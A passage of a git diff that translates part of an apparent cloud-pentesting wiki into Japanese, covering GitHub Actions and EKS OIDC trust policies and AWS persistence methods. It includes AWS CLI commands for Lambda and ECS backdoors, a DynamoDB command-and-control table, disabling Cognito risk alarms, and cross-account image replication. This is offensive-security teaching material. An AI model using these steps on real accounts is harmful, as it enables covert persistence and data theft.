- "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
- "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
- ],
- "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
- }
- }
- }
- ]
- }
- ```
-6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
-7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
-8. Finally use a github action to configure the AWS creds to be used by the workflow:
+アイデンティティプロバイダーとしてgithubアクションを追加するには:
+1. _プロバイダータイプ_として**OpenID Connect**を選択します。
+2. _プロバイダーURL_に`https://token.actions.githubusercontent.com`を入力します。
+3. _サムプリントを取得_をクリックしてプロバイダーのサムプリントを取得します。
+4. _オーディエンス_に`sts.amazonaws.com`を入力します。
+5. githubアクションが必要とする**権限**を持つ**新しいロール**を作成し、次のようにプロバイダーを信頼する**信頼ポリシー**を設定します:
+- ```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"token.actions.githubusercontent.com:sub": [
+"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
+"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
+],
+"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
+}
+}
+}
+]
+}
+```
+6. 前のポリシーでは、特定の**トリガー**で**組織**の**リポジトリ**の**ブランチ**のみが承認されていることに注意してください。
+7. githubアクションが**なりすます**ことができる**ロール**の**ARN**は、githubアクションが知っておく必要がある「秘密」になるため、**環境**内の**シークレット**に**保存**します。
+8. 最後に、ワークフローで使用するAWSクレデンシャルを構成するためにgithubアクションを使用します:
```yaml
name: "test AWS Access"
# The workflow should only trigger on pull requests to the main branch
on:
- pull_request:
- branches:
- - main
+pull_request:
+branches:
+- main
# Required to get the ID Token that will be used for OIDC
permissions:
- id-token: write
- contents: read # needed for private repos to checkout
+id-token: write
+contents: read # needed for private repos to checkout
jobs:
- aws:
- runs-on: ubuntu-latest
- steps:
- - name: Checkout
- uses: actions/checkout@v3
+aws:
+runs-on: ubuntu-latest
+steps:
+- name: Checkout
+uses: actions/checkout@v3
- - name: Configure AWS Credentials
- uses: aws-actions/configure-aws-credentials@v1
- with:
- aws-region: eu-west-1
- role-to-assume:${{ secrets.READ_ROLE }}
- role-session-name: OIDCSession
+- name: Configure AWS Credentials
+uses: aws-actions/configure-aws-credentials@v1
+with:
+aws-region: eu-west-1
+role-to-assume:${{ secrets.READ_ROLE }}
+role-session-name: OIDCSession
- - run: aws sts get-caller-identity
- shell: bash
+- run: aws sts get-caller-identity
+shell: bash
```
-
-## OIDC - EKS Abuse
-
+## OIDC - EKSの悪用
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
-
-It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
-
+**OIDCプロバイダー**を**EKS**クラスターで生成することは、クラスターの**OIDC URL**を**新しいOpen IDアイデンティティプロバイダー**として設定するだけで可能です。これは一般的なデフォルトポリシーです:
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
- },
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringEquals": {
- "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
- }
- }
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
+}
+}
+}
+]
}
```
+このポリシーは、**id** `20C159CDF6F2349B68846BEC03BE031B` を持つ **EKS クラスター** のみがロールを引き受けることができることを正しく示しています。しかし、どのサービスアカウントがそれを引き受けることができるかは示されていないため、**ウェブアイデンティティトークンを持つ任意のサービスアカウント** がロールを **引き受けることができる** ということになります。
-This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
-
-In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
-
+**どのサービスアカウントがロールを引き受けることができるかを指定するためには、** **サービスアカウント名が指定される** **条件** を指定する必要があります。
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
-
-## References
+## 参考文献
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index 28868b9f1..f120594be 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -2,20 +2,16 @@
{{#include ../../banners/hacktricks-training.md}}
-These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
+これらは、提案されたすべてのAWS監査ツールを実行するために監査したい各AWSアカウントで必要な権限です:
-- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
-- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
- - **access-analyzer:List\***
- - **access-analyzer:Get\***
- - **iam:CreateServiceLinkedRole**
- - **access-analyzer:CreateAnalyzer**
- - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
- - **access-analyzer:DeleteAnalyzer**
- - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
+- デフォルトポリシー **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
+- [aws_iam_review](https://github.com/carlospolop/aws_iam_review)を実行するには、次の権限も必要です:
+- **access-analyzer:List\***
+- **access-analyzer:Get\***
+- **iam:CreateServiceLinkedRole**
+- **access-analyzer:CreateAnalyzer**
+- (クライアントがあなたのためにアナライザーを生成する場合はオプションですが、通常はこの権限を求める方が簡単です)
+- **access-analyzer:DeleteAnalyzer**
+- (クライアントがあなたのためにアナライザーを削除する場合はオプションですが、通常はこの権限を求める方が簡単です)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md
index f3b45c4d3..1023c8601 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md
@@ -1,6 +1 @@
-# AWS - Persistence
-
-
-
-
-
+# AWS - 永続性
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index 6d2b0ec35..e4e7da054 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -4,33 +4,29 @@
## API Gateway
-For more information go to:
+詳細については、次のリンクを参照してください:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### Resource Policy
+### リソースポリシー
-Modify the resource policy of the API gateway(s) to grant yourself access to them
+APIゲートウェイのリソースポリシーを変更して、自分にアクセス権を付与します。
-### Modify Lambda Authorizers
+### Lambdaオーソライザーの変更
-Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
-Or just remove the use of the authorizer.
+Lambdaオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\
+または、オーソライザーの使用を単に削除します。
-### IAM Permissions
+### IAM権限
-If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
-Or just remove the use of the authorizer.
+リソースがIAMオーソライザーを使用している場合、IAM権限を変更して自分にアクセス権を付与できます。\
+または、オーソライザーの使用を単に削除します。
-### API Keys
+### APIキー
-If API keys are used, you could leak them to maintain persistence or even create new ones.\
-Or just remove the use of API keys.
+APIキーが使用されている場合、持続性を維持するためにそれらを漏洩させるか、新しいものを作成できます。\
+または、APIキーの使用を単に削除します。
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index e2e037e53..0773a26c5 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -4,24 +4,24 @@
## Cognito
-For more information, access:
+詳細情報については、以下にアクセスしてください:
{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}
-### User persistence
+### ユーザーの永続性
-Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
+Cognitoは、認証されていないユーザーと認証されたユーザーに役割を与え、ユーザーのディレクトリを制御するサービスです。いくつかの異なる設定を変更して永続性を維持することができます。例えば:
-- **Adding a User Pool** controlled by the user to an Identity Pool
-- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- - Or to an **authenticated Identity Pool** if the attacker can login
- - Or **improve the permissions** of the given roles
-- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
-- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
+- **ユーザープール**をユーザーが制御する**アイデンティティプール**に追加する
+- 認証されていないアイデンティティプールに**IAMロールを付与し、基本認証フローを許可する**
+- 攻撃者がログインできる場合は**認証されたアイデンティティプール**に
+- または与えられたロールの**権限を向上させる**
+- **ユーザープール**内の属性を制御されたユーザーまたは新しいユーザーを通じて**作成、検証、権限昇格**する
+- **外部アイデンティティプロバイダー**がユーザープールまたはアイデンティティプールにログインできるようにする
-Check how to do these actions in
+これらのアクションを実行する方法を確認してください:
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
@@ -29,18 +29,12 @@ Check how to do these actions in
### `cognito-idp:SetRiskConfiguration`
-An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
-
+この権限を持つ攻撃者は、リスク設定を変更して、Cognitoユーザーとして**アラームがトリガーされることなく**ログインできるようにすることができます。[**CLIを確認してください**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) すべてのオプションを確認するために:
```bash
aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
-
-By default this is disabled:
+デフォルトでは、これは無効になっています:
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index 75a824e73..bfcdb5494 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -4,64 +4,56 @@
### DynamoDB
-For more information access:
+詳細情報は以下にアクセスしてください:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
-### DynamoDB Triggers with Lambda Backdoor
-
-Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
+### DynamoDB トリガーと Lambda バックドア
+DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることにより、**隠れたバックドア**を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。
```bash
# Create a malicious Lambda function
aws lambda create-function \
- --function-name MaliciousFunction \
- --runtime nodejs14.x \
- --role \
- --handler index.handler \
- --zip-file fileb://malicious_function.zip \
- --region
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
- --table-name TargetTable \
- --region
+--table-name TargetTable \
+--region
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
- --function-name MaliciousFunction \
- --event-source \
- --region
+--function-name MaliciousFunction \
+--event-source \
+--region
```
+永続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的な相互作用なしにAWSアカウント内でコードを実行することができます。
-To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
-
-### DynamoDB as a C2 Channel
-
-An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
+### DynamoDBをC2チャネルとして使用する
+攻撃者は、コマンドを含むアイテムを作成し、侵害されたインスタンスやLambda関数を使用してこれらのコマンドを取得および実行することにより、DynamoDBテーブルを**コマンドおよび制御(C2)チャネル**として使用することができます。
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
- --table-name C2Table \
- --attribute-definitions AttributeName=CommandId,AttributeType=S \
- --key-schema AttributeName=CommandId,KeyType=HASH \
- --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
- --region
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region
# Insert a command into the table
aws dynamodb put-item \
- --table-name C2Table \
- --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
- --region
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region
```
-
-The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
+侵害されたインスタンスやLambda関数は、定期的にC2テーブルをチェックして新しいコマンドを取得し、それを実行し、オプションで結果をテーブルに報告することができます。これにより、攻撃者は侵害されたリソースに対して持続性と制御を維持することができます。
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index b52ac9e85..3ecda4461 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -4,55 +4,51 @@
## EC2
-For more information check:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
-### Security Group Connection Tracking Persistence
+### セキュリティグループ接続追跡持続性
-If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
+防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**マシンのネットワークを隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます(ただし、NACLはサブネット全体に影響します)、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。
-If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+攻撃者が**マシンから発生したリバースシェル**を持っていた場合、SGがインバウンドまたはアウトバウンドトラフィックを許可しないように変更されても、**接続は**[**セキュリティグループ接続追跡**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**のために切断されません。**
-### EC2 Lifecycle Manager
+### EC2ライフサイクルマネージャー
-This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
-An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
+このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことも可能です。\
+攻撃者は**すべてのイメージまたはすべてのボリュームのAMIまたはスナップショットの生成を**毎週**スケジュール**し、**自分のアカウントと共有**することができます。
-### Scheduled Instances
+### スケジュールされたインスタンス
-It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
+インスタンスを毎日、毎週、または毎月実行するようにスケジュールすることが可能です。攻撃者は高い権限または興味深いアクセスを持つマシンを実行することができます。
-### Spot Fleet Request
+### スポットフリートリクエスト
-Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
+スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**立ち上げることができ、**自動IP**割り当てと、スポットインスタンスが**開始されたときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。
-### Backdoor Instances
+### バックドアインスタンス
-An attacker could get access to the instances and backdoor them:
+攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます:
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Backdooring the **User Data**
+- 例えば、従来の**ルートキット**を使用する
+- 新しい**公開SSHキー**を追加する([EC2特権昇格オプション](../aws-privilege-escalation/aws-ec2-privesc.md)を確認)
+- **ユーザーデータ**をバックドア化する
-### **Backdoor Launch Configuration**
+### **バックドア起動構成**
-- Backdoor the used AMI
-- Backdoor the User Data
-- Backdoor the Key Pair
+- 使用されるAMIをバックドア化する
+- ユーザーデータをバックドア化する
+- キーペアをバックドア化する
### VPN
-Create a VPN so the attacker will be able to connect directly through i to the VPC.
+攻撃者がVPCに直接接続できるようにVPNを作成します。
-### VPC Peering
+### VPCピアリング
-Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
+被害者のVPCと攻撃者のVPCの間にピアリング接続を作成し、攻撃者が被害者のVPCにアクセスできるようにします。
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 07928fbd4..fde4fefc8 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -4,98 +4,88 @@
## ECR
-For more information check:
+詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
-### Hidden Docker Image with Malicious Code
+### 悪意のあるコードを含む隠れたDockerイメージ
-An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
+攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットのAWSアカウントで持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルスにデプロイすることができます。
-### Repository Policy
-
-Add a policy to a single repository granting yourself (or everybody) access to a repository:
+### リポジトリポリシー
+自分自身(または全員)にリポジトリへのアクセスを付与するポリシーを単一のリポジトリに追加します:
```bash
aws ecr set-repository-policy \
- --repository-name cluster-autoscaler \
- --policy-text file:///tmp/my-policy.json
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
# With a .json such as
{
- "Version" : "2008-10-17",
- "Statement" : [
- {
- "Sid" : "allow public pull",
- "Effect" : "Allow",
- "Principal" : "*",
- "Action" : [
- "ecr:BatchCheckLayerAvailability",
- "ecr:BatchGetImage",
- "ecr:GetDownloadUrlForLayer"
- ]
- }
- ]
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
}
```
-
> [!WARNING]
-> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
+> ECRを使用するには、ユーザーが**`ecr:GetAuthorizationToken`** APIを呼び出すための**権限**をIAMポリシーで持っている必要があります。**これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。**
-### Registry Policy & Cross-account Replication
+### レジストリポリシーとクロスアカウントレプリケーション
-It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
+外部アカウントでクロスアカウントレプリケーションを設定することで、レジストリを自動的に複製することが可能です。ここでは、レジストリを複製したい**外部アカウント**を**指定する**必要があります。
-First, you need to give the external account access over the registry with a **registry policy** like:
-
+まず、外部アカウントにレジストリへのアクセスを与えるために、次のような**レジストリポリシー**を設定する必要があります。
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
- "Sid": "asdasd",
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::947247140022:root"
- },
- "Action": [
- "ecr:CreateRepository",
- "ecr:ReplicateImage"
- ],
- "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
-
-Then apply the replication config:
-
+次に、レプリケーション設定を適用します:
```bash
aws ecr put-replication-configuration \
- --replication-configuration file://replication-settings.json \
- --region us-west-2
+--replication-configuration file://replication-settings.json \
+--region us-west-2
# Having the .json a content such as:
{
- "rules": [{
- "destinations": [{
- "region": "destination_region",
- "registryId": "destination_accountId"
- }],
- "repositoryFilters": [{
- "filter": "repository_prefix_name",
- "filterType": "PREFIX_MATCH"
- }]
- }]
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 988626c8f..735bdb1f9 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -4,29 +4,28 @@
## ECS
-For more information check:
+詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
-### Hidden Periodic ECS Task
+### 隠れた定期ECSタスク
> [!NOTE]
-> TODO: Test
-
-An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
+> TODO: テスト
+攻撃者は、Amazon EventBridgeを使用して**悪意のあるタスクの実行を定期的にスケジュールする**隠れた定期ECSタスクを作成できます。このタスクは、偵察を行ったり、データを抽出したり、AWSアカウント内での持続性を維持したりすることができます。
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
- {
- "name": "malicious-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
@@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
- {
- "Id": "malicious-ecs-task-target",
- "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
- "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
- "EcsParameters": {
- "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
- "TaskCount": 1
- }
- }
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
]'
```
-
-### Backdoor Container in Existing ECS Task Definition
+### 既存のECSタスク定義にバックドアコンテナを追加
> [!NOTE]
-> TODO: Test
-
-An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
+> TODO: テスト
+攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**隠れたバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用されます。
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
- {
- "name": "legitimate-container",
- "image": "legitimate-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- },
- {
- "name": "backdoor-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": false
- }
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
]'
```
-
### Undocumented ECS Service
> [!NOTE]
> TODO: Test
-An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
-
+攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログを無効にすることで、管理者が悪意のあるサービスに気付くのが難しくなります。
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
- {
- "name": "malicious-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index bdb282d41..ba05df3e5 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -4,22 +4,18 @@
## EFS
-For more information check:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
-### Modify Resource Policy / Security Groups
+### リソースポリシー / セキュリティグループの変更
-Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
+**リソースポリシーおよび/またはセキュリティグループを変更することで**、ファイルシステムへのアクセスを持続させることができます。
-### Create Access Point
+### アクセスポイントの作成
-You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
+**アクセスポイントを作成することで**(`/`へのルートアクセス付き)、他の**持続性**を実装したサービスからアクセス可能にし、ファイルシステムへの特権アクセスを維持できます。
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index c55e0e2ba..7ef353def 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -4,31 +4,30 @@
